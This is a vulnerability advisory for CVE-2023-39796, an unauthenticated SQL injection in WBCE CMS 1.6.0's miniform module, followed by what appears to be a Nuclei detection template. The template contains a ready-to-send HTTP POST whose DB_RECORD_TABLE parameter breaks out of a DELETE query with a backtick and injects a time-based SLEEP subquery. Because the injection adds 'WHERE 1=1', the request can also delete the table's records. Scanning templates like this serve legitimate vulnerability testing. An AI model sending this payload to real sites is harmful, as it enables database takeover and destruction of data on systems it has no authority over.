There is an sql injection vulnerability in "miniform module" which is a default module installed in the WBCE cms. It is an unauthenticated sqli so anyone could access it and takeover the whole database. In file "/modules/miniform/ajax_delete_message.php" there is no authentication check. On line 40 in this file, there is a DELETE query that is vulnerable, an attacker could jump from the query using the tick sign - `.
PoC
id: CVE-2023-39796
info:
name: WBCE 1.6.0 - SQL Injection
author: youngpope
severity: critical
description: |
There is an sql injection vulnerability in "miniform module" which is a default module installed in the WBCE cms. It is an unauthenticated sqli so anyone could access it and takeover the whole database. In file "/modules/miniform/ajax_delete_message.php" there is no authentication check. On line 40 in this file, there is a DELETE query that is vulnerable, an attacker could jump from the query using the tick sign - `.
impact: |
Unauthenticated attackers can execute time-based SQL injection through the DB_RECORD_TABLE parameter in the miniform module to extract the complete CMS database and takeover the WBCE installation.
remediation: Fixed in version 1.6.1
reference:
- https://forum.wbce.org/viewtopic.php?pid=42046#p42046
- https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
- https://pastebin.com/PBw5AvGp
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-39796
cwe-id: CWE-89
epss-score: 0.06146
epss-percentile: 0.93094
cpe: cpe:2.3:a:wbce:wbce_cms:1.6.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: wbce
product: wbce_cms
tags: time-based-sqli,cve,cve2023,sqli,wbce,intrusive,vkev,vuln
http:
- raw:
- |
@timeout: 20s
POST /modules/miniform/ajax_delete_message.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=delete&DB_RECORD_TABLE=miniform_data`+WHERE+1%3d1+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))a)--+&iRecordID=1&DB_COLUMN=message_id&MODULE=&purpose=delete_record
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'status_code_1 == 200'
- 'contains(body, "Record deleted successfully!")'
condition: and
# digest: 490a0046304402205c61197b3dee13b888feac38003f690b92882c7a670223469b4eb388e6fef6f902202a90699fc86abb4ed1fc9dd5703a08509c0294cea8922edc7c896380ef71eb4c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.